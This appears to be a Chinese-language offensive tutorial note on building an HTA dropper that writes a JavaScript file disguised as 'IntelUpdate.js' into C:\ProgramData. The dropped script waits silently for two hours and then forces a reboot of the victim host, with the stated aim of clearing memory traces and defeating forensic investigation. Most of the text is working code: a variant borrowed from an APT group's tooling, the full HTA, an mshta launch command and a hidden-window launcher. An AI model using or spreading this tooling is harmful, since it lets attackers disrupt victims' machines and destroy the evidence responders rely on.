目的:通过加载hta文件使得受害主机两个小时后自动重启,从而清除内存痕迹防止取证。
0x01 编写js文件
通过js来设置定时任务,网上找到源码修改的,实际上测试的时候这个会有弹窗而且可以通过shutdown -a直接取消掉定时关机任务。
| 12
 3
 4
 5
 6
 7
 8
 9
 10
 11
 12
 13
 14
 15
 
 | function run(str){try{
 var objShell = new ActiveXObject("wscript.shell");
 objShell.Run(str);
 objShell=null;
 }catch(e){
 tipAlert({"title":"提示","msg":"错误"+e+"<br>"});
 }
 }
 
 
 function shut_down(){
 run("shutdown -r -t 7200");
 }
 shut_down()
 
 | 
学习专业组织的做法,在绿盟关于SIDECOPY组织的APT报告中提到了他们所使用的代码。
| 12
 3
 4
 
 | var ShAllWeAccepTheChallenge = new ActiveXObject('WScript.Shell');WScript.Sleep(7200000);
 var executeMyScript = ShAllWeAccepTheChallenge.Exec('cmd.exe /k shutdown /r /t 0');
 executeMyScript.StdIn.Close();
 
 | 
经过测试这种方法更优,当程序执行到WScript.Sleep后会直接挂起,在后台静默等待(从任务管理器中可以看到wscript.exe进程),等待时间结束后自动调用cmd执行。由于这里的shutdown设置的是t=0所以cmd闪屏一下后直接就自动重启了。
如果用户点击,整个过程是无感的,没有弹窗也没有别的提示,只有在最后关机的阶段才会闪一下命令弹窗。如果想要提前关闭,可以手动终结掉wscript.exe进程。
0x02 编写hta文件
代码有点烂=.=,执行hta后释放一个IntelUpdate.js文件,然后通过加载IntelUpdate.js文件实现定时重启。
| 12
 3
 4
 5
 6
 7
 8
 9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 
 | <html><head>
 <script language="jscript">
 function IntelUpdate()
 {
 var fso, f1, ts, s;
 var ForReading = 1;
 fso = new ActiveXObject("Scripting.FileSystemObject");
 f1 = fso.CreateTextFile("C:\\ProgramData\\IntelUpdate.js", true);
 f1.WriteLine("function shut_down(){");
 f1.WriteLine("    var ShAllWeAccepTheChallenge = new ActiveXObject('WScript.Shell');");
 f1.WriteLine("    WScript.Sleep(7200000);");
 f1.WriteLine("    var executeMyScript = ShAllWeAccepTheChallenge.Exec('cmd.exe /k shutdown /r /t 0');");
 f1.WriteLine("    executeMyScript.StdIn.Close();");
 f1.WriteLine("}");
 f1.WriteLine("shut_down()");
 f1.WriteBlankLines(1);
 f1.Close();
 }
 IntelUpdate()
 var cmd = new ActiveXObject("WScript.Shell");
 cmd.run("C:\ProgramData\IntelUpdate.js");
 cmd = null;
 </script>
 </head>
 <body>
 </body>
 </html>
 
 | 
本地同目录加载
| 1
 | mshta.exe "$pwd\test.hta"
 | 
隐藏执行(看上去有点傻(: _  ),当做个笔记吧T.T
run后面可以使用1和0来决定是否显示窗口
| 12
 3
 4
 
 | var cmd = new ActiveXObject("WScript.Shell");cmd.run("C:\\tmp\\test.hta",0);
 cmd = null;
 window.close();
 
 | 
0x03 参考